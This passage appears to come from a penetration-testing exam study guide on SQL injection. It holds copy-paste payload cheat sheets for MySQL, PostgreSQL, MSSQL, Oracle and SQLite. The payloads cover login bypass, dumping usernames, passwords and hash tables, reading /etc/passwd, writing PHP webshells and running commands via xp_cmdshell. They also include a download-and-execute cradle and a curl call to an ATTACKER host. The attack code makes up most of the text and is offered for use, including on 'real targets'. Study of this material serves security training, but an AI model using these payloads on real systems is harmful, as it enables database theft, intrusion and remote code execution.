/product?id=1+1

3.4.4 Step 4 — Boolean TRUE/FALSE pairs

The core of manual confirmation. Use AND for confirmation (both halves must hold, so a false half visibly changes the page) and OR for exploitation (forces rows to return).

# String context - TRUE / FALSE pair
x' AND '1'='1
x' AND '1'='2

# Integer context - TRUE / FALSE pair
1 AND 1=1
1 AND 1=2

# With comment terminator
1' AND 1=1-- -
1' AND 1=2-- -

# OR-based (returns everything / bypasses auth)
' OR 1=1-- -
' OR '1'='1'-- -
' OR 1=1#
admin'-- -
admin'#
' OR 'a'='a

AND 1=1 → normal page. AND 1=2 → blank/different page. That difference is your boolean oracle.

Note: OR 1=1 on a valid record proves nothing (the page was already true). Test OR 1=1 against a non-existent id — if you now get all rows, injection is confirmed.

3.4.5 Step 5 — Comment terminators

DBMSLine commentInlineNotes
MySQL / MariaDB#, -- (needs trailing space)/*...*/, /*! ... */# is safest; -- - guarantees the trailing space survives URL handling
PostgreSQL--/*...*/
MSSQL--/*...*/
Oracle--/*...*/
SQLite--/*...*/
MS Accessnone reliable%00 (null byte)Use null-byte truncation

Always use -- - (dash dash space dash) rather than bare -- so the required trailing space is preserved through URL decoding.

3.4.6 Step 6 — ORDER BY (column count + injectability)

' ORDER BY 1-- -      # OK
' ORDER BY 2-- -      # OK
' ORDER BY 5-- -      # OK
' ORDER BY 6-- -      # ERROR  =>  the query returns exactly 5 columns

3.4.7 Step 7 — Time probe (when nothing else differs)

' AND SLEEP(5)-- -                                  # MySQL (see 3.10 for wrapping caveats)
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -       # MySQL, works where bare SLEEP is optimised away
1; WAITFOR DELAY '0:0:5'-- -                        # MSSQL (stacked)
' AND (SELECT 1 FROM PG_SLEEP(5))IS NOT NULL-- -    # PostgreSQL
' AND 1=dbms_pipe.receive_message('a',5)-- -        # Oracle

3.4.8 Detection checklist

#TestPayloadPositive result
1Quote break'Error / 500 / changed page
2Quote repair''Page normal again
3Arithmetic4-1 vs 3Identical output → integer context
4Boolean TRUE' AND '1'='1Normal page
5Boolean FALSE' AND '1'='2Empty / different page
6OR bypass' OR 1=1-- -All rows returned / logged in
7Column count' ORDER BY N-- -Error at N+1
8Union probe' UNION SELECT NULL,...-- -No error at correct count
9Time probe' AND SLEEP(5)-- -~5 s delay
10OOB probesee 3.11DNS/HTTP hit on your listener

Exam tips

  • URL-encode the payload once when injecting via the URL/proxy. Double-encoding usually breaks it — a very common time-sink.
  • # vs -- -: if one fails, try the other before concluding the parameter is not injectable. In MySQL labs # frequently works where -- does not.
  • A blank page is a result. Record what TRUE looks like and what FALSE looks like before you try to extract anything.

3.5 Identify the DBMS (Fingerprinting)

Do this before choosing payloads — every technique below is DBMS-specific.

3.5.1 By error message

Error text fragmentDBMS
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server versionMySQL / MariaDB
Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_resultMySQL
Incorrect syntax near ... / Unclosed quotation mark after the character stringMSSQL
Conversion failed when converting the nvarchar value ... to data type intMSSQL
ERROR: unterminated quoted string at or near / PG::SyntaxErrorPostgreSQL
ORA-00933: SQL command not properly ended / ORA-01756Oracle
SQLite3::SQLException: unrecognized token / near "...": syntax errorSQLite
Microsoft JET Database Engine / ODBC Microsoft Access DriverMS Access

3.5.2 By behaviour (inference probes)

Probe (append to an injectable string param)TRUE ⇒
' AND 'a'='a + ||' concatenatesOracle / PostgreSQL
' AND '1'='1' AND ''=' works but || failsMySQL (default sql_mode)
' AND 1=(SELECT 1 FROM dual)-- -Oracle (or MySQL, which also supports dual)
' AND @@version IS NOT NULL-- -MySQL or MSSQL
' AND version() IS NOT NULL-- -MySQL or PostgreSQL
' AND sqlite_version() IS NOT NULL-- -SQLite
' AND LEN('abc')=3-- -MSSQL (LEN)
' AND LENGTH('abc')=3-- -MySQL / PG / Oracle / SQLite
' AND 1=CONVERT(int,'a')-- - errors with conversion messageMSSQL
' AND ROWNUM=1-- -Oracle
' AND 1=1 LIMIT 1-- -MySQL / PG / SQLite (Oracle and MSSQL reject LIMIT)

3.5.3 Version strings

-- MySQL / MariaDB
SELECT VERSION();  SELECT @@version;  SELECT @@version_comment;  SELECT @@hostname;

-- PostgreSQL
SELECT version();  SHOW server_version;  SELECT current_setting('server_version');

-- Microsoft SQL Server
SELECT @@VERSION;  SELECT SERVERPROPERTY('productversion');  SELECT @@SERVERNAME;

-- Oracle
SELECT banner FROM v$version WHERE rownum=1;  SELECT version FROM v$instance;

-- SQLite
SELECT sqlite_version();

Exam tips

  • @@version works on both MySQL and MSSQL — disambiguate with LEN() vs LENGTH() or with the comment style.
  • Oracle requires a FROM clause: every bare SELECT becomes SELECT ... FROM dual. If your UNION payload errors on Oracle, you forgot FROM dual.
  • SQLite has no users, no information_schema, and no sleep function — recognising it early saves 20 minutes.

3.6 Per-DBMS Payload Cheat Sheets

3.6.1 Master comparison table

FeatureMySQL / MariaDBPostgreSQLMSSQLOracleSQLite
VersionVERSION(), @@versionversion()@@VERSION(SELECT banner FROM v$version WHERE rownum=1)sqlite_version()
Current userUSER(), CURRENT_USER(), SYSTEM_USER()current_user, user, session_userSYSTEM_USER, USER_NAME(), SUSER_SNAME()(SELECT user FROM dual), SYS_CONTEXT('USERENV','CURRENT_USER')n/a (no users)
Current DBDATABASE(), SCHEMA()current_database()DB_NAME()(SELECT global_name FROM global_name), SYS_CONTEXT('USERENV','DB_NAME')PRAGMA database_list
Host name@@hostnameinet_server_addr()HOST_NAME(), @@SERVERNAMESYS_CONTEXT('USERENV','SERVER_HOST'), UTL_INADDR.GET_HOST_NAMEn/a
ConcatenationCONCAT(a,b), CONCAT_WS(',',a,b), 'a' 'b'a||b, CONCAT(a,b)a+b, CONCAT(a,b) (2012+)a||b, CONCAT(a,b) (2 args)a||b
Line comment#, -- --------
Inline comment/*...*/, /*!50000 ... *//*...*//*...*//*...*//*...*/
SubstringSUBSTRING(s,p,l), SUBSTR, MIDSUBSTRING(s FROM p FOR l), substr(s,p,l)SUBSTRING(s,p,l) (len mandatory)SUBSTR(s,p,l)SUBSTR(s,p,l)
String lengthLENGTH(s), CHAR_LENGTH(s)LENGTH(s)LEN(s), DATALENGTH(s)LENGTH(s)LENGTH(s)
Char → codeASCII(c), ORD(c)ASCII(c)ASCII(c), UNICODE(c)ASCII(c)UNICODE(c)
Code → charCHAR(65), CHR(65)CHR(65)CHAR(65), NCHAR(65)CHR(65)CHAR(65)
Hex literal0x61646D696Edecode('61','hex')0x61HEXTORAW('61')X'61'
Hex encodeHEX(s)encode(s::bytea,'hex')sys.fn_varbintohexstr(CAST(s AS varbinary))RAWTOHEX(s)HEX(s)
Row limitLIMIT 1 OFFSET 0LIMIT 1 OFFSET 0TOP 1 / OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLYWHERE ROWNUM=1 / FETCH FIRST 1 ROWS ONLY (12c+)LIMIT 1 OFFSET 0
Aggregate rowsGROUP_CONCAT(x SEPARATOR ',')string_agg(x,',')STRING_AGG(x,',') (2017+) / FOR XML PATH('')LISTAGG(x,',') WITHIN GROUP (ORDER BY x)GROUP_CONCAT(x,',')
Dummy tabledual (optional)not needednot neededdual requirednot needed
ConditionalIF(c,a,b), CASE WHEN c THEN a ELSE b ENDCASE WHEN c THEN a ELSE b ENDCASE WHEN c THEN a ELSE b END, IIF(c,a,b)CASE WHEN c THEN a ELSE b END, DECODE()CASE WHEN c THEN a ELSE b END, IIF()
NULL-safeIFNULL(a,b), COALESCECOALESCEISNULL(a,b), COALESCENVL(a,b), COALESCEIFNULL(a,b), COALESCE
Time delaySLEEP(n), BENCHMARK(n,expr)pg_sleep(n)WAITFOR DELAY '0:0:n'dbms_pipe.receive_message('a',n), DBMS_LOCK.SLEEP(n)none (use heavy query)
Stacked queriesUsually no (PHP mysqli_query); yes with mysqli_multi_query/PDO emulatedYesYesNoYes (binding-dependent)
Schema catalogueinformation_schemainformation_schema / pg_cataloginformation_schema / sys.* / master..sysdatabasesALL_TABLES / ALL_TAB_COLUMNSsqlite_master

3.6.2 Schema enumeration (information_schema equivalents)

-- ============ MySQL / MariaDB ============
SELECT schema_name FROM information_schema.schemata;                                  -- list databases
SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE();       -- tables in current DB
SELECT column_name FROM information_schema.columns WHERE table_name='users';          -- columns of a table
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE();
SELECT GROUP_CONCAT(column_name,0x3a,data_type) FROM information_schema.columns WHERE table_name='users';
SELECT GROUP_CONCAT(user,0x3a,authentication_string) FROM mysql.user;                 -- password hashes (needs privs)

-- ============ PostgreSQL ============
SELECT datname FROM pg_database;                                                      -- list databases
SELECT table_name FROM information_schema.tables WHERE table_schema='public';         -- tables
SELECT tablename FROM pg_tables WHERE schemaname='public';                            -- tables (pg_catalog)
SELECT column_name FROM information_schema.columns WHERE table_name='users';          -- columns
SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public';
SELECT usename,passwd FROM pg_shadow;                                                 -- password hashes (superuser)

-- ============ Microsoft SQL Server ============
SELECT name FROM master..sysdatabases;                                                -- list databases
SELECT name FROM sys.databases;                                                       -- list databases
SELECT name FROM <db>..sysobjects WHERE xtype='U';                                    -- user tables
SELECT table_name FROM information_schema.tables;                                     -- tables
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users');  -- columns
SELECT column_name FROM information_schema.columns WHERE table_name='users';          -- columns
SELECT name,password_hash FROM sys.sql_logins;                                        -- hashes (sysadmin)

-- ============ Oracle ============
SELECT owner FROM all_tables GROUP BY owner;                                          -- "databases" == schemas/users
SELECT username FROM all_users;                                                       -- users
SELECT table_name FROM all_tables;                                                    -- all visible tables
SELECT table_name FROM user_tables;                                                   -- tables owned by current user
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';                     -- columns (UPPERCASE names!)
SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM user_tables;
SELECT name,password,spare4 FROM sys.user$;                                           -- hashes (privileged)

-- ============ SQLite ============
SELECT name FROM sqlite_master WHERE type='table';                                    -- tables
SELECT sql FROM sqlite_master WHERE type='table';                                     -- full CREATE TABLE (gives columns)
SELECT group_concat(name) FROM sqlite_master WHERE type='table';
PRAGMA table_info(users);                                                             -- columns (stacked/sql-shell only)

SQLite has no information_schema. The schema table is sqlite_master with columns type, name, tbl_name, rootpage, sql. Pulling the sql column gives you the complete CREATE TABLE statement — i.e. every column name in one shot.

Oracle object names in the data dictionary are UPPERCASE. WHERE table_name='users' returns nothing; use 'USERS' or UPPER(table_name)='USERS'.

3.6.3 Error-based payload templates

-- ===== MySQL 5.1 - 5.7 : EXTRACTVALUE (max 32 chars of output) =====
' AND extractvalue(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT database()),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x7e))-- -

-- ===== MySQL 5.1 - 5.7 : UPDATEXML (max 32 chars of output) =====
' AND updatexml(1,CONCAT(0x7e,(SELECT user()),0x7e),1)-- -
' AND updatexml(NULL,CONCAT(0x3a,(SELECT password FROM users LIMIT 0,1)),NULL)-- -

-- ===== MySQL : double-query / duplicate entry (works 4.1+) =====
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- ===== MySQL 5.5.5+ : EXP overflow =====
' AND EXP(~(SELECT * FROM (SELECT @@version)a))-- -

-- ===== MySQL 5.7.x : JSON / BIGINT overflow =====
' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(@@version))s), 18446744073709551610, 18446744073709551610)))-- -

-- ===== PostgreSQL : CAST to int =====
' AND 1=CAST((SELECT version()) AS INT)-- -
' AND 1=CAST((SELECT current_database()) AS INT)-- -
' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS INT)-- -
' AND 1=(SELECT CAST((SELECT passwd FROM pg_shadow LIMIT 1) AS NUMERIC))-- -

-- ===== MSSQL : CONVERT / CAST type-conversion error =====
' AND 1=CONVERT(int,(SELECT @@version))-- -
' AND 1=CONVERT(int,(SELECT DB_NAME()))-- -
' AND 1=CAST((SELECT TOP 1 name FROM sys.databases) AS int)-- -
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -
' AND 1=CONVERT(int,(SELECT STRING_AGG(name,',') FROM sys.tables))-- -
-- Data-type "compare" variant (no CONVERT keyword):
' AND 1=(SELECT TOP 1 name FROM sys.databases)-- -

-- ===== Oracle : several error oracles =====
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- -
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE rownum=1))-- -
' AND (SELECT DBMS_XMLGEN.GETXML('SELECT user FROM dual') FROM dual) IS NOT NULL-- -
' AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) FROM dual)-- -
' AND 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((SELECT user FROM dual),'x','x')-- -
-- Generic conversion error:
' AND 1=TO_NUMBER((SELECT banner FROM v$version WHERE rownum=1))-- -

-- ===== SQLite =====
-- SQLite is loosely typed: classic CAST error-based rarely works.
-- Use UNION-based (3.8), boolean-based (3.9), or the heavy-query time oracle (3.10).

extractvalue/updatexml truncate at 32 characters. To read longer values, page through with SUBSTRING(<expr>,1,32), SUBSTRING(<expr>,33,32), … or use MID()/LIMIT n,1.

3.6.4 Time-delay functions

-- MySQL
' AND SLEEP(5)-- -
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -                       -- survives optimiser
' AND IF(1=1,SLEEP(5),0)-- -                                        -- conditional
' AND BENCHMARK(5000000,MD5('A'))-- -                               -- CPU-burn alternative
' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)-- -                -- conditional extraction
' RLIKE SLEEP(5)-- -                                                -- works in some LIKE contexts

-- PostgreSQL
' AND (SELECT 1 FROM pg_sleep(5))IS NOT NULL-- -
'; SELECT pg_sleep(5)-- -                                           -- stacked
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)IS NOT NULL-- -

-- MSSQL  (no inline sleep function - WAITFOR is a statement)
'; WAITFOR DELAY '0:0:5'-- -
'; IF (1=1) WAITFOR DELAY '0:0:5'-- -
'; IF (SELECT SUBSTRING(@@version,1,1))='M' WAITFOR DELAY '0:0:5'-- -

-- Oracle
' AND 1=dbms_pipe.receive_message('a',5)-- -                        -- most reliable, PUBLIC by default
' AND (SELECT CASE WHEN (1=1) THEN dbms_pipe.receive_message('a',5) ELSE 1 END FROM dual)=1-- -
' AND DBMS_LOCK.SLEEP(5)=1-- -                                      -- needs EXECUTE on DBMS_LOCK
-- heavy-query fallback:
' AND 1=(SELECT COUNT(*) FROM all_users t1,all_users t2,all_users t3,all_users t4)-- -

-- SQLite  (no sleep function - heavy query only)
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))))-- -
' AND CASE WHEN (1=1) THEN LIKE('A',UPPER(HEX(RANDOMBLOB(100000000)))) ELSE 1 END-- -

MySQL SLEEP() inside an OR clause is evaluated for every row — a 5-second sleep on a 7-row table takes 35 seconds. Use AND with a known-true left operand (e.g. a valid id) so it evaluates once.

3.6.5 File read / write / command execution

-- ===================== MySQL =====================
-- Requires FILE privilege AND secure_file_priv permitting the path
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:\\Windows\\win.ini');
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -
SELECT HEX(LOAD_FILE('/etc/passwd'));                     -- hex-wrap to survive binary/newlines
SHOW VARIABLES LIKE 'secure_file_priv';                   -- '' = anywhere, NULL = disabled

-- Write a webshell (file must not already exist; needs writable webroot)
' UNION SELECT '<?php system($_GET["c"]); ?>',NULL,NULL INTO OUTFILE '/var/www/html/sh.php'-- -
SELECT 0x3C3F7068702073797374656D28245F4745545B2263225D293B203F3E INTO DUMPFILE '/var/www/html/sh.php';
-- INTO DUMPFILE writes raw bytes (single row, no formatting) - use it for binaries/.so UDF libs.

-- MySQL RCE via UDF (sqlmap --os-shell automates this)
-- 1) write lib_mysqludf_sys.so into the plugin dir with INTO DUMPFILE
-- 2) CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
-- 3) SELECT sys_exec('id > /tmp/o');

-- ===================== PostgreSQL =====================
SELECT pg_read_file('/etc/passwd',0,10000);               -- superuser (pre-11: restricted to data dir)
SELECT pg_ls_dir('/etc');
COPY target_table FROM '/etc/passwd';                     -- read into a table (superuser / pg_read_server_files)
COPY (SELECT '<?php system($_GET["c"]);?>') TO '/var/www/html/sh.php';   -- write
SELECT lo_import('/etc/passwd');                          -- large object import
-- RCE (PostgreSQL 9.3+, superuser):
DROP TABLE IF EXISTS c; CREATE TABLE c(o text);
COPY c FROM PROGRAM 'id';
SELECT * FROM c;
-- One-shot OOB/RCE:
COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER/$(whoami)';

-- ===================== Microsoft SQL Server =====================
-- Enable and run xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC master..xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER/s.ps1'')"';
-- Stacked, one line:
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -

-- File read
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS x;
EXEC master..xp_dirtree 'C:\',1,1;                        -- directory listing
EXEC master..xp_fileexist 'C:\Windows\win.ini';
-- File write (via xp_cmdshell echo, or OLE automation sp_OACreate)

-- OLE automation alternative to xp_cmdshell
EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
DECLARE @o INT; EXEC sp_oacreate 'wscript.shell',@o OUT; EXEC sp_oamethod @o,'run',NULL,'cmd /c whoami > C:\o.txt';

-- ===================== Oracle =====================
-- File read via UTL_FILE (needs a DIRECTORY object and EXECUTE on UTL_FILE)
SELECT UTL_FILE.FOPEN('MY_DIR','passwd','R') FROM dual;
DECLARE f UTL_FILE.FILE_TYPE; s VARCHAR2(4000);
BEGIN f:=UTL_FILE.FOPEN('MY_DIR','passwd','R'); UTL_FILE.GET_LINE(f,s); DBMS_OUTPUT.PUT_LINE(s); UTL_FILE.FCLOSE(f); END;
SELECT DBMS_XSLPROCESSOR.READ2CLOB('MY_DIR','passwd') FROM dual;
SELECT * FROM all_directories;                            -- find usable DIRECTORY objects
-- Command execution: Java stored procedures, DBMS_SCHEDULER external jobs, or
--   SYS.KUPP$PROC.CREATE_MASTER_PROCESS (version-dependent, privileged)

-- ===================== SQLite =====================
-- No LOAD_FILE / OUTFILE. Write a file only via ATTACH (needs stacked queries):
ATTACH DATABASE '/var/www/html/sh.php' AS s;
CREATE TABLE s.p (x TEXT);
INSERT INTO s.p (x) VALUES ('<?php system($_GET["c"]); ?>');
-- readfile()/writefile() exist only in the sqlite3 CLI (fileio extension), not in embedded builds.

Exam tips

  • MySQL INTO OUTFILE fails silently if the file already exists and needs an absolute path the mysqld user can write. secure_file_priv set to a directory limits you to that directory; NULL disables the feature entirely.
  • INTO OUTFILE must be the last clause of the statement — you cannot put a comment terminator after it and expect the rest of the original query to be dropped; craft the injection so nothing follows.
  • For MSSQL, if xp_cmdshell is disabled and you are sysadmin, re-enable it with sp_configure. If you are not sysadmin, look for IS_SRVROLEMEMBER('sysadmin') = 0 and pivot to OPENROWSET/linked servers instead.
  • On Oracle, dbms_pipe.receive_message is executable by PUBLIC on most installs — it is your most dependable time oracle.

3.7 Exploiting Error-Based SQL Injection

Error-based is the fastest in-band path when the app leaks DBMS errors. One request = one value.

3.7.1 Workflow

  1. Confirm the parameter errors on ' and repairs on ''.
  2. Read the error text to fingerprint the DBMS (3.5.1) and, if the app echoes it, to read the surrounding query shape.
  3. Pick the error primitive for that DBMS (3.6.3).
  4. Extract values one at a time, wrapping each with delimiters (0x7e = ~) so you can spot where the payload output starts and ends.

3.7.2 MySQL extraction chain (copy-paste)

-- 1. version / user / database
' AND extractvalue(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT user()),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT database()),0x7e))-- -

-- 2. count the databases, then walk them
' AND extractvalue(1,CONCAT(0x7e,(SELECT COUNT(schema_name) FROM information_schema.schemata),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),0x7e))-- -

-- 3. tables of the current database, one per request
' AND extractvalue(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),0x7e))-- -

-- 4. columns of a chosen table
' AND extractvalue(1,CONCAT(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x7e))-- -

-- 5. rows (32 chars at a time)
' AND extractvalue(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,SUBSTRING((SELECT password FROM users LIMIT 0,1),33,32),0x7e))-- -

3.7.3 MSSQL extraction chain

' AND 1=CONVERT(int,(SELECT @@version))-- -
' AND 1=CONVERT(int,(SELECT DB_NAME()))-- -
' AND 1=CONVERT(int,(SELECT SYSTEM_USER))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sys.databases WHERE name NOT IN ('master','tempdb','model','msdb')))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM users))-- -
-- walk rows by excluding what you already have:
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sys.tables WHERE name NOT IN ('users','logs')))-- -

3.7.4 PostgreSQL / Oracle one-liners

-- PostgreSQL
' AND 1=CAST((SELECT version()) AS INT)-- -
' AND 1=CAST((SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public') AS INT)-- -
' AND 1=CAST((SELECT username||':'||password FROM users LIMIT 1) AS INT)-- -

-- Oracle
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- -
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM user_tables) WHERE r=1))-- -
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT username||':'||password FROM users WHERE ROWNUM=1))-- -

Exam tips

  • If the error is generic ("An error occurred"), error-based is dead — move straight to boolean/time-based. Do not burn time.
  • Wrap output in 0x7e (~) or : delimiters; without them you cannot tell where your value ends and the framework's message begins.
  • Long values are truncated at 32 chars by extractvalue/updatexml. Chunk with SUBSTRING(x,1,32), SUBSTRING(x,33,32).
  • sqlmap's error-based payload printed in its output is a ready-made manual payload — copy it out of the sqlmap banner, swap the inner SELECT for whatever you want, URL-encode once, and fire it in Repeater. This is the single fastest manual technique on real targets.

3.8 Exploiting UNION-Based SQL Injection

UNION combines the result sets of two or more SELECT statements. Two hard requirements:

  1. Identical column count in both SELECTs.
  2. Compatible data types in each corresponding column position.

3.8.1 Step 1 — Determine the column count

Method A — ORDER BY (binary search friendly):

' ORDER BY 1-- -      # ok
' ORDER BY 5-- -      # ok
' ORDER BY 10-- -     # ERROR: "Unknown column '10' in 'order clause'"
' ORDER BY 7-- -      # ok  => answer is between 7 and 9
' ORDER BY 8-- -      # ERROR => 7 columns

Method B — UNION SELECT NULL (works when ORDER BY is filtered):

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -      # no error => 5 columns

NULL is used because it casts to any type. Oracle needs the dummy table:

' UNION SELECT NULL FROM dual-- -
' UNION SELECT NULL,NULL FROM dual-- -

3.8.2 Step 2 — Find which columns are reflected on the page

Replace NULL with markers and see which appear in the rendered HTML:

' UNION SELECT 1,2,3,4,5-- -
' UNION SELECT 'aaa','bbb','ccc','ddd','eee'-- -
' UNION SELECT NULL,'INJ',NULL,NULL,NULL-- -     # test one position at a time for type compatibility

Typical outcome: a query returns 5 columns, the page renders 4 of them; column 2 is never printed. Column 2 is not injectable for in-band extraction — it exists in the result set but the template does not render it. Put your payload in a rendered position.

If a column rejects strings (type mismatch), keep NULL there and use another position. On Oracle/MSSQL use an explicit cast: CAST('INJ' AS VARCHAR(50)) / CONVERT(varchar,'INJ').

3.8.3 Step 3 — Fingerprint through the UNION

' UNION SELECT NULL,@@version,NULL,NULL,NULL-- -              -- MySQL / MSSQL
' UNION SELECT NULL,version(),NULL,NULL,NULL-- -              -- MySQL / PostgreSQL
' UNION SELECT NULL,sqlite_version(),NULL,NULL,NULL-- -       -- SQLite
' UNION SELECT NULL,banner,NULL,NULL,NULL FROM v$version-- -  -- Oracle

3.8.4 Step 4 — Enumerate schema through the UNION

-- ===== MySQL =====
' UNION SELECT NULL,GROUP_CONCAT(schema_name),NULL,NULL,NULL FROM information_schema.schemata-- -
' UNION SELECT NULL,GROUP_CONCAT(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()-- -
' UNION SELECT NULL,GROUP_CONCAT(column_name),NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL,NULL,NULL FROM users-- -
-- group_concat truncates at group_concat_max_len (default 1024). If truncated, page it:
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL,NULL,NULL FROM users LIMIT 0,1-- -

-- ===== PostgreSQL =====
' UNION SELECT NULL,string_agg(datname,','),NULL,NULL,NULL FROM pg_database-- -
' UNION SELECT NULL,string_agg(table_name,','),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema='public'-- -
' UNION SELECT NULL,string_agg(column_name,','),NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT NULL,username||':'||password,NULL,NULL,NULL FROM users-- -

-- ===== MSSQL =====
' UNION SELECT NULL,name,NULL,NULL,NULL FROM master..sysdatabases-- -
' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM information_schema.tables-- -
' UNION SELECT NULL,column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT NULL,username+':'+password,NULL,NULL,NULL FROM users-- -
' UNION SELECT NULL,(SELECT name+',' FROM sys.tables FOR XML PATH('')),NULL,NULL,NULL-- -   -- all tables in one cell

-- ===== Oracle  (FROM dual / FROM <table> is mandatory) =====
' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM all_tables-- -
' UNION SELECT NULL,column_name,NULL,NULL,NULL FROM all_tab_columns WHERE table_name='USERS'-- -
' UNION SELECT NULL,LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name),NULL,NULL,NULL FROM user_tables-- -
' UNION SELECT NULL,username||':'||password,NULL,NULL,NULL FROM users-- -

-- ===== SQLite  (schema table = sqlite_master) =====
' UNION SELECT NULL,sqlite_version(),NULL,NULL,NULL-- -
' UNION SELECT NULL,group_concat(name),NULL,NULL,NULL FROM sqlite_master WHERE type='table'-- -
' UNION SELECT NULL,sql,NULL,NULL,NULL FROM sqlite_master WHERE type='table'-- -      -- full CREATE TABLE => all columns
' UNION SELECT flag,NULL,value,NULL,NULL FROM secret_flag-- -

3.8.5 Worked example (SQLite, 5 columns, column 2 not rendered)

1' OR 1=1-- -                                              # confirm injection, dump all rows
1' UNION SELECT 1,2,3,4,5-- -                              # column count = 5; page shows 1,3,4,5
1' UNION SELECT sqlite_version(),2,3,4,5-- -               # fingerprint: 3.22.0
1' UNION SELECT table_name,2,3,4,5 FROM sqlite_master-- -  # -> results, secret_flag
1' UNION SELECT sql,2,3,4,5 FROM sqlite_master-- -         # -> CREATE TABLE secret_flag(flag TEXT, value TEXT)
1' UNION SELECT flag,2,value,4,5 FROM secret_flag-- -      # -> extract the two columns

3.8.6 Troubleshooting

SymptomCauseFix
The used SELECT statements have a different number of columnsColumn count mismatchRe-run ORDER BY / NULL counting
Nothing rendered but no errorYour payload landed in a non-rendered column, or the original query returned rows firstMove the payload to another position; force the first SELECT to return nothing (id=-1, id=999999)
Original rows still shown, yours are notApp renders only the first rowUse id=-1' or AND 1=2 to void the original result set
Type-conversion error on a columnData-type mismatchLeave NULL in that position, or CAST() your value
ORA-00923: FROM keyword not foundMissing FROM dualAdd FROM dual
UNION blocked by a filterWAFTry UNION ALL SELECT, /*!UNION*/, UNiOn, UNION/**/SELECT, sqlmap --tamper

Exam tips

  • Kill the original result set with id=-1 or id=0 before the UNION. It removes ambiguity about which rows are yours.
  • UNION ALL SELECT avoids the implicit DISTINCT of plain UNION — sometimes it is also the version that slips past a naive filter.
